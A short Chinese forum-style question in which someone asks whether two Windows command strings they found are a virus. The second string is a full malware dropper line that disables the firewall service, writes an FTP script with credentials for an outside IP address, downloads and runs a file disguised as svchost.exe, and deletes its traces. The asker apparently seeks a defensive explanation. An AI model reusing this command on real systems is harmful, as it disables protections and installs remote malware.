这两串代码是什么意思？病毒？
cmd.exe /c dir c:尀>c:尀T3tmp.log和下面cmd /c "sc config SQLSERVERAGENT start= AUTO&net1 stop sharedaccess&echo open 218.27.135.87> cmd.txt&echo 498905461>> cmd.txt&echo 498905461>> cmd.txt&echo binary >> cmd.txt&echo get svchost.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&svchost.exe&svchost.exe&del cmd.txt /q /f&exit"
